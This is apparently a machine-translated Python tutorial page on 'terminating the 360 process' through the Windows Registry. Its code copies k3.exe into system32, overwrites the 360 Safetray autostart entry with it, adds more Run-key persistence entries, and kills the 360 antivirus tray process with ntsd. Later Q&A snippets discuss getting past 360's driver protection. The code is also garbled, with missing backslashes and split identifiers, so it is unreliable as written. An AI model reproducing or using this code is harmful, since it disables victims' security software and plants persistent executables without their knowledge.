Python modifies the Registry to terminate the 360 process instance and the python360 process instance.
This article describes how to terminate the 360 process by modifying the Registry in python. Share it with you for your reference.
The specific implementation code is as follows:
Import _ winregimport osimport shutil copy your own shutil.copyfile(k3.exe, c: WINDOWSsystem32K3.exe) # Change 360 to its own run = _ winreg. openKey (_ winreg. HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionRun", 0, _ winreg. KEY_WRITE) _ winreg. setValueEx (run, "360 Safetray", 0, _ winreg. REG_SZ, r "C: WINDOWSsystem32k3.exe") # add self-starting self = _ winreg. openKey (_ winreg. HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionRun", 0, _ winreg. KEY_WRITE) _ winreg. setValueEx (run, "k3", 0, _ winreg. REG_SZ, r "C: WINDOWSsystem32k3.exe") # add all users to start allrun = _ winreg. openKey (_ winreg. HKEY_LOCAL_MACHINE, "MicrosoftWindowsCurrentVersionpoliciesExplorerRun", 0, _ winreg. KEY_WRITE) _ winreg. setValueEx (allrun, "k3", 0, _ winreg. REG_SZ, r "C: WINDOWSsystem32k3.exe") # terminate the 360 process OS. popen ("ntsd-c q-pn 360tray.exe cmd ")
I hope this article will help you with Python programming.
How can I change the Registry to end the 360 process?
If the process of 360 can be easily terminated, You can unload it. 360 adopt driver protection, and you only have to find a solution from r0. Using driver and process management can end up, such as famous security software such as ice blade and xiaojian.
How to terminate a process by changing the Registry
Usage: Open the cmd.exe window and enter:
Ntsd-c q-p PID
Change the last PID to the ID of the process to be terminated. If you do not know the process ID, choose Task Manager> process tab> View> Select column> check \ "PID (process identifier) \", and you will see it.